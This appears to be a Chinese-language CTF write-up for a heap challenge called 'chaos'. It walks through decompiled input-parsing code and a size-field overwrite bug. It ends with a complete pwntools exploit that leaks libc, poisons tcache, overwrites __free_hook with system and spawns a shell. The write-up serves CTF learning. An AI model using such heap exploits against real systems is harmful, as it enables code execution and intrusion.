首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。
首先是一个大的while循环。
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
{
if ( v8 <= 5 )
*((_QWORD *)&unk_202060 + 2 * v8) = a1;
sb = strchr(a1, 58);
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202068[2 * v8] = sc;
sd = strchr(sc, 10);
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == 13 )
*a1++ = 0;
s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8);
nptr = (char *)qword_202068[2 * v8];
if ( !strcasecmp(s1, "opcode") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "passwd") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
说白了就是对我们的输入进行要求,要求
opcode:1就是功能1,然后功能里面有密码,需要用passwd来
用功能1举例,完整的一个create输入是
“opcode:1\npasswd:Cr4at3a\n”
那我们再来看功能
create
需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。
这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss
有漏洞,在哪?
在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。
edit
show
delete
剩下三个函数就平平无奇。
我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦。
exp
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local:
r = process('./chaos')
else:
r = remote("192.168.40.178",8999)
libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6')
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda name,addr :log.success(name+" : "+hex(addr))
def debug():
gdb.attach(r)
pause()
def add(size, content):
sla(">>> ", "opcode:1\npasswd:Cr4at3a\n")
sla(">>> ", str(size))
sla(">>> ", content)
def show(index):
sla(">>> ", "opcode:2\npasswd:SH0wa\n")
sla(">>> ", str(index))
def edit(index, content):
sla(">>> ", "opcode:3\npasswd:Ed1ta\n")
sla(">>> ", str(index))
sa(">>> ", content)
def delete(index):
sla(">>> ", "opcode:4\npasswd:D3l4tea\n")
sla(">>> ", str(index))
for i in range(12):
add(0x208, "a") #0~11
for i in range(8):
delete(0)
delete(1)
edit(1, '\x01' * 0x200 + p64(0x300))
edit(1, '\x01' * 0x240)
show(1)
libc_base = u64(ru('\x7f')[-6:] + '\x00\x00') - 0x3ebeb0
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym["system"]
one_gadget = libc_base + 0x4f3c2
lg("libc_base", libc_base)
edit(1, '\x01' * 0x200 + p64(0xa00) + p64(0) + p64(0) + p64(0x21) + p64(0) * 3 + p64(0x221))
add(0x200, "a")
delete(1)
payload = '\x01' * 0x470 + p64(0) + p64(0x221) + p64(free_hook)
edit(1, payload)
debug()
add(0x200, "/bin/sh\x00")
add(0x200, p64(system_addr))
delete(1)
r.interactive()